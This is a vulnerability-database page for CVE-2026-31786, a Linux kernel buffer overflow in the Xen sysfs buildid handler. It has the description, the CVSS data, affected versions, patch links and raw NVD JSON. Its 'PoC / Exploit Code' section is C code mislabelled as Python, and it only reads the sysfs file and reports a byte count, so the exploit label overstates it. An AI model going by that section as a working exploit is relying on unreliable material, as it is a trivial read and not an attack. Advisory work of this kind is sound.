CVE-2026-31786

Description

In the Linux kernel, the following vulnerability has been resolved: Buffer overflow in drivers/xen/sys-hypervisor.c The build id returned by HYPERVISOR_xen_version(XENVER_build_id) is neither NUL terminated nor a string. The first causes a buffer overflow as sprintf in buildid_show will read and copy till it finds a NUL. 00000000 f4 91 51 f4 dd 38 9e 9d 65 47 52 eb 10 71 db 50 |..Q..8..eGR..q.P| 00000010 b9 a8 01 42 6f 2e 32 |...Bo.2| 00000017 So use a memcpy instead of sprintf to have the correct value: 00000000 f4 91 51 f4 dd 00 9e 9d 65 47 52 eb 10 71 db 50 |..Q.....eGR..q.P| 00000010 b9 a8 01 42 |...B| 00000014 (the above have a hack to embed a zero inside and check it's returned correctly). This is XSA-485 / CVE-2026-31786

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>

// PoC for CVE-2026-31786
// This code reads the sysfs entry to trigger the vulnerable path in buildid_show.

int main() {
    FILE *fp;
    char buffer[1024];
    const char *path = "/sys/hypervisor/properties/buildid";

    printf("[*] Attempting to read %s to trigger the vulnerable path...\n", path);

    fp = fopen(path, "rb");
    if (fp == NULL) {
        perror("[-] Failed to open file");
        return 1;
    }

    // Reading the file triggers the kernel's buildid_show function
    size_t bytes_read = fread(buffer, 1, sizeof(buffer), fp);
    if (bytes_read > 0) {
        printf("[+] Successfully read %zu bytes. Potential trigger confirmed.\n", bytes_read);
    } else {
        printf("[-] No data read.\n");
    }

    fclose(fp);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31786
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31786
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31786/
[4] VulDB https://vuldb.com/cve/CVE-2026-31786
[5] https://git.kernel.org/stable/c/27fdbab4221b375de54bf91919798d88520c6e28
[6] https://git.kernel.org/stable/c/4b4defd2fce3f966c25adabf46644a85558f1169
[7] https://git.kernel.org/stable/c/52cecff98bda2c51eed1c6ce9d21c5d6268fb19d
[8] https://git.kernel.org/stable/c/5c5ff7c7bd15bb536f44b10b3fb5b8408f344d0a
[9] https://git.kernel.org/stable/c/8288d031a01dbacfde3fc643f7be3d23504de64d
[10] https://git.kernel.org/stable/c/d5f59216650c51e5e3fcb7517c825bc8047f60ef
[11] https://git.kernel.org/stable/c/e3af585e1728c917682b6a3de9a69b41fb9194d4
[12] https://git.kernel.org/stable/c/f458ba102da97fafca106327086fc95f3fc764cb
[13] http://www.openwall.com/lists/oss-security/2026/04/28/12
[14] http://xenbits.xen.org/xsa/advisory-485.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31786", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-30T11:16:20.967", "lastModified": "2026-05-06T19:44:30.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBuffer overflow in drivers/xen/sys-hypervisor.c\n\nThe build id returned by HYPERVISOR_xen_version(XENVER_build_id) is\nneither NUL terminated nor a string.\n\nThe first causes a buffer overflow as sprintf in buildid_show will\nread and copy till it finds a NUL.\n\n00000000 f4 91 51 f4 dd 38 9e 9d 65 47 52 eb 10 71 db 50 |..Q..8..eGR..q.P|\n00000010 b9 a8 01 42 6f 2e 32 |...Bo.2|\n00000017\n\nSo use a memcpy instead of sprintf to have the correct value:\n\n00000000 f4 91 51 f4 dd 00 9e 9d 65 47 52 eb 10 71 db 50 |..Q.....eGR..q.P|\n00000010 b9 a8 01 42 |...B|\n00000014\n\n(the above have a hack to embed a zero inside and check it's\nreturned correctly).\n\nThis is XSA-485 / CVE-2026-31786"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.13", "versionEndExcluding": "5.10.254", "matchCriteriaId": "1493839B-26E7-4663-8942-B55262171032"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.204", "matchCriteriaId": "FA800016-0012-4E3F-A528-2A7F378A0A4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.170", "matchCriteriaId": "E6653854-B188-42DD-B8C5-0143F1956AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.137", "matchCriteriaId": "3CA3EF52-168A-4348-8F5F-356C9EB69261"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.85", "matchCriteriaId": "F17D292D-A9B5-4DC7-8002-51AB95335606"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.26", "matchCriteriaId": "85751F83-26BA-498C-90E7-E38A59C4564D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.3", "matchCriteriaId": "C7C9A567-4F4F-4C61-BAD3-440B34C67118"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/27fdbab4221b375de54bf91919798d88520c6e28", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4b4defd2fce3f966c25adabf46644a85558f1169", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/52cecff98bda2c51eed1c6ce9d21c5d6268fb19d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5c5ff7c7bd15bb536f44b10b3fb5b8408f344d0a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8288d031a01dbacfde3fc643f7be3d23504de64d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d5f59216650c51e5e3fcb7517c825bc8047f60ef", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e3af585e1728c917682b6a3de9a69b41fb9194d4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f458ba102da97fafca106327086fc95f3fc764cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/12", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://xenbit ... (truncated)